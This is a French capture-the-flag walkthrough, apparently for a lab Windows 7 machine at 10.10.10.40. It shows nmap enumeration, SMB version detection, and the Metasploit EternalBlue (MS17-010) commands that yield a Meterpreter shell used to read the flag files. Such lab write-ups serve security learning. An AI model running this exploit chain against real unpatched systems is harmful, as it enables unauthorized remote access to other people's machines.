Introduction

Pour commencer, nous savons que la machine distante est un Windows dont l'adresse IP est 10.10.10.40.

Compétences mises en œuvre :

- Énumération des ports et services.
- Identification de la version de smb avec smb_version (sous Meterpreter).
- Exploitation de la vulnérabilité Eternal Blue.

Énumération

Pour l'énumération, on utilise le binaire **nmap** :

```
$ nmap  -T4 -A 10.10.10.40
```

Le résultat nous indique (cf ci-dessous) que le port **445** est ouvert et utilisé par le service **microsoft-ds** (service de partage de fichier).

```
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Nous allons pouvoir faire communiquer le **microsoft-ds** avec le module **smb_version** du binaire **Metasploit** afin d'obtenir plus d'informations.

```
Msf > use auxiliary/scanner/smb/smb_version
Msf > set RHOSTS 10.10.10.40
Msf > run
```

```
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.10.10.40:445       - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional)
(uptime:18h 55m 18s) (guid:{3f0a6f65-c24d-482a-b63b-4a4dd3131c25}) (authentication domain:HARIS-PC)
[+] 10.10.10.40:445       -   Host is running Windows 7 Professional SP1 (build:7601) (name:HARIS-PC)
[*] 10.10.10.40:          - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Le résultat permet d'identifier la version du Windows : **Windows 7 Pro SP1** et nous pouvons constater que la version 1 de SMB est détectée. Cette version de SMB est vulnérable par l'exploit **EternalBlue**.

Exploitation

EternalBlue est un exploit de la NSA qui utilise une faille de sécurité dans **SMBv1**. Un module pour **EternalBlue** est présent dans **Metasploit** sous le nom de **ms17_010_eternalblue**, nous l'utilisons donc pour avoir un accès sur la machine distante :

```
Msf > use windows/smb/ms17_010_eternalblue
Msf > set RHOSTS 10.10.10.40
Msf > run
```

Après avoir exécuté la commande **run**, nous avons une session **meterpreter** qui s'est établie et donc nous pouvons avoir un shell sur la machine pour aller chercher les flags :

```
Meterpreter > shell
C:\Windows\system32>type C:\Users\haris\Desktop\user.txt
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
```